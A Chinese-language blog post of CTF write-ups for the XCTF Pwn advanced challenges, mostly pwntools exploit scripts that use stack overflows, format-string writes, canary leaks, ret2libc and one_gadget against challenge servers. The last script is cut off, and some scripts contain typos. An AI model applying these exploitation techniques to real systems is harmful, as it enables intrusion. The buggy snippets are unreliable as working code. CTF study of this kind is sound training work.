攻防世界 Pwn 进阶 第一页

本文深入探讨了攻防世界Pwn实战中的多种技术,包括栈溢出、字符串格式化漏洞、整数溢出等常见漏洞及其利用方法。文章详细介绍了从新手区到进阶区的多个挑战案例,涵盖从简单的栈溢出到复杂的堆利用。

00

要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区。
攻防世界 Pwn 新手
1、栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc。
常见漏洞点有read()函数、gets()函数、strcat()函数等等。
栈溢出在进阶区还涉及到了很多,包括一些保护机制的绕过。
2、字符串格式化漏洞
在这里插入图片描述字符串格式化漏洞在新手区只是对内存的读取,修改。
在进阶区还要涉及很多高级应用,下面再说。

3、整数溢出
在这里插入图片描述

4、指针函数强制转换漏洞
在这里插入图片描述

5、随机数问题

01 monkey

单独将它放到这里就是它跟别的都不大一样……
整了个js库进来 用了js库就能执行js函数了
用了那个js库以后就能执行js函数
长这样
os.system(‘cat flag’)

发现扔IDA 好像没啥用
直接扔虚拟机运行

from pwn import *
 p = remote('111.198.29.45', 36913)
 elf = ELF(./js)
p.recv()
p.send('os.system(\'cat flag\')')  #这个地方要注意 \'是反义符  就是输入'  还有js函数左右两边的''
#是类似与Sql注入那样把前面的输入闭合。
p.interactive()

02 dice_game

随机数
参考新手区那个随机数题就好了

#-*- coding:utf-8 -*-
from pwn import*
from ctypes import*
context.log_level="debug"
r=remote("220.249.52.133",42528)
lib = cdll.LoadLibrary('libc.so.6')
r.recvuntil("name:")#这里没有'\n',所以读一行就有问题 不能recvline()         
payload='A' * 0x40 + p64(0)
payload=payload.ljust(0x50,"C")
r.sendline(payload)
for i in range(50):
    r.sendlineafter("point(1~6): ",str(lib.rand() % 6 + 1))
r.interactive()

03 反应釜

就是最简单的栈溢出
sprintf
C 库函数 int sprintf(char *str, const char *format, …) 发送格式化输出到 str 所指向的字符串。
str – 这是指向一个字符数组的指针,该数组存储了 C 字符串。
format – 这是字符串,包含了要被写入到字符串 str 的文本。
它可以包含嵌入的 format 标签,format 标签可被随后的附加参数中指定的值替换,并按需求进行格式化。
这题刚开始看那代码确实看了一会……研究半天
然后跑一下 发现就那么回事
然后发现就最最最最最简单的一个栈溢出……
就个这……

from pwn import*
r=remote("220.249.52.133",48469)
payload = 'A' *  0x208 + p64(0x4005f6)
r.sendlineafter(">",payload)
r.interactive()

04 stack2

数组索引时没有检查边界
要注意的点不大一样,这个题里面注意的是全局变量,下一个题注意的是函数指针强制转换函数。

在这里插入图片描述

from pwn import*
context.log_level = "debug"
r=remote("220.249.52.133",38633)
r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline("1")
r.recvuntil("5. exit")
v3address = 0x84
#这个地方的ret比之前的多加了个0x10    因为是主函数而且有全局变量
#下面那个就是也是主函数,但是没有全局变量,他就还是老地方返回函数
def writea(number,address):
    r.sendline('3')
    r.recvuntil("which number to change:")
    r.sendline(str(address))
    r.recvuntil("new number:")
    r.sendline(str(number))
    r.recvuntil("5. exit")
writea(0x50,v3address)
writea(0x84,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
v3address += 8
writea(0x87,v3address)     #这地方就是比较坑那地方
writea(0x89,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
r.sendline('5')
r.interactive()

来一个网上对坑分析比较好的链接

05 forgot

函数指针强制转换 跟栈溢出
在这里插入图片描述

阅读程序,发现最下面有个函数指针强制转换漏洞,想办法利用,发现change选项可以通过数组的形式修改v3数据。
我感觉像上面那个题的类型题。

from pwn import *

# io=process('./forgot')
io=remote('111.198.29.45',41178)

io.sendline('fuck')
addr=0x80486CC
payload='\x47'*(0x20)+p32(addr)
io.sendline(payload)

io.interactive()

06 warmup

啥也没给,就是fuzz
fuzz 也就是盲打

from pwn import* 
#context.log_level='debug'
addr=0x40060d
def fuzz(r,num,flag):
	payload='a'*num
	if flag==1:
		payload+=p32(addr)
	if flag==2:
		payload+=p64(addr)
	r.recvuntil(">")
	r.sendline(payload)
def main():
	for i in range(1000):
		print(i)
		for j in range(3):
			try:
				r=remote("111.198.29.45",46588)
				fuzz(r,i,j)
				text=r.recv()
				print('text.len='+str(len(text))+'text='+text)
				print('num='+str(i)+'flag='+str(j))
				r.interactive()
			except:
				r.close()
if__name__=='__main__':
	main()

写爆破程序的时候,你如果最后用p.interactive() 程序就会卡住,Ctrl+c才能继续循环;建议用p.sendline(‘cat flag’)之类的,然后判断交互的结果有没有你想要的值,如果有就interactive(),否则继续。

07 实时数据监测

就是一个最简单的字符串格式化漏洞 就是数有点大,跑脚本的时候不知道为啥会跑好一会

但是我看那里面那个key的值我就觉得好像没那么简单
数太大 %$n 这样输入太长了鸭
但还是觉得试试
然后就这样写

from pwn import*
context.log_level="debug"
r=remote("220.249.52.133",33732)
payload=p32(0x0804a048) + "%35795742x%$12n"
r.send(payload)
r.interactive()

网上的wp有个这样的

#coding = utf-8
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",33732)
payload = "%35795746x" + "%16$n\x00" + p32(0x804a048)
#payload的构造上有一些不一样
r.send(payload)
r.interactive()

来一个万能模板

key_bss_addr =    
key =    
main_addr = 
offset = 
payload = fmtstr_payload(offset,{
   
   key_bss_addr:key})

在这个题里

p = remote()
key == 0x084a048
offset = 12
value = 35795746
payload = fmtstr32(offset,{
   
   key:value})
r.sendline(payload)

但是人家正宗的wp用的是字符串盲打
下面有两个链接 参考一下

链接1
链接2

这两篇文章都太强了,让我对字符串格式化漏洞以及它的盲打有了一个全新的认识,码住码住。

08 Mary_Morton

字符串格式化漏洞 栈溢出漏洞 还有canary绕过
这个题 绕过是主角
canary绕过大概思路就是先通过格式化字符串函数讲canary泄露出来
然后栈溢出的时候记得把canary给它写上
就行
在这里插入图片描述
一般程序里面有canary保护的话就有个这玩意。

在这里插入图片描述
上面这个是栈溢出

在这里插入图片描述

上面这个是格式化字符串漏洞

#coding=utf-8
from pwn import *
 
context.log_level = 'debug'
p = remote('111.198.29.45',56161)
 
p.recvuntil("Exit the battle ")
p.sendline(str(2))#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary  前面那个$别忘了  就是泄露指针偏移23处的数据
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节  这地方好好看一下
 
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

e.g.下面三个题先看这个文章

点这里
太牛逼了……
都不用我写啥了
我再把网上的一些wp借鉴一下
再写一些自己的看法
这三个题都应该有两种方向吧……
libcsearcher 跟 dynelf
理论上能用system 也能用 execve
上面对前者进行了介绍,这篇文章主要是对后者的说明。

其实他俩是一样的,都是因为或者没有给出libc库,或者给出的库与服务器的库版本不一致,这时候可能库中的数据偏移不一样导致出问题。
libcsearcher是用python的类库代替你要使用的libc库文件。还是通过计算基址偏移等获得相关函数地址。
DynELF通俗的讲就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址。

dynelf主要是需要可以循环的地方,一般不都是……有个子函数,函数里面有个read函数,能够不停循环构成栈溢出。

关于Dynelf的原理探究有一篇很好的文章可以看一下
Dynelf原理

09 pwn1

canary绕过 ret2libc 对puts函数的利用
就是mary跟level3的一个结合题再加一点变化,更上一个层次的话就是直接连libc库也没有。
这个格式化字符串漏洞是利用的puts

这里首先要插入一个知识点
32位与64位传参机制不一样,所以在写rop链时也需要注意,32位传参时参数直接就在返回地址前面,而64位传参是遵循的规则是:当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9,所以就需要我们先在我们的程序里找到对应的gadget(就是小代码的意思),找到合适的pop指令,先执行pop函数,将参数压入相应的寄存器,在进行函数的调用。
有两种方法去找所需要的gadget。
第一种是在IDA中找相应的pop代码可以直接Alt+t查找pop,进行简单的筛查,确定合适pop指令。

在确定pop指令的时候,经常不会直接找到pop rdi这种指令一般找到的都是这个
在这里插入图片描述
一定要找这种最后带一个retn返回语句的,不然在执行ROP链时执行pop指令后回不到你的ROP链。
然后需要用到逆向中的技巧,在这里调整它的反汇编代码,具体方法就是选中指令,按d转换成数据,再找到合适位置按c转换成指令,寻找我们要的pop指令。
在这里插入图片描述
这就是效果图,这道题就是要pop rdi这个指令,他的地址就是0x400A93。
第二种是用我们的使用小工具,ROPgadget。
关于下载安装配置环境啥的,我还专门写了个博客。
ROPgadget 安装 错误处理 与使用

在这里插入图片描述这是效果图。

e.g. 每次400a70 那里都会有想要的pop 跟 move 我也不知道为啥…… 就离谱……

e.gg. 这里在泄露libc里面的地址可以用之前的常规方法,先泄露system 跟 shell,也可以用这里的用这个新的小东西,one_gadget 。

e.ggg. 这个题里面用puts输出也非常值得被注意

先是用one_gadget的
有了ROPgadget的下载安装使用,就再来一个one_gadget。
one_gadget 下载安装与使用

它就是用来查一下动态链接库里面的execve函数的,就这。就省的你再去找system函数,还要去找‘/bin/sh’。
还是挺好用的。

然后下面是查到的
在这里插入图片描述
wp

from pwn import *
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
p=remote('220.249.52.133',39455)
prdi_addr=0x0400a93
main_addr=0x0400908
one_gadget_addr=0x45216
put_plt=elf.plt['puts']
put_got=elf.got['puts']
p.sendlineafter('>> ','1')
p.sendline('a'*0x88)   
#太坑了吧  这里因为是puts函数  必须用sendline  因为它读\n才停
p.sendlineafter('>> ','2')
p.recvuntil('a'*0x88+'\n')
canary=u64(p.recv(7).rjust(8,'\x00'))   
#u64跟p64是反的  这点要注意了
print hex(canary)
p.sendlineafter('>> ','1')
payload='a'*0x88+p64(canary)+'a'*8+p64(prdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
#一定要在后面返回主函数  
p.sendline(payload)
p.sendlineafter('>> ','3')
put_addr=u64(p.recv(
评论 8
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值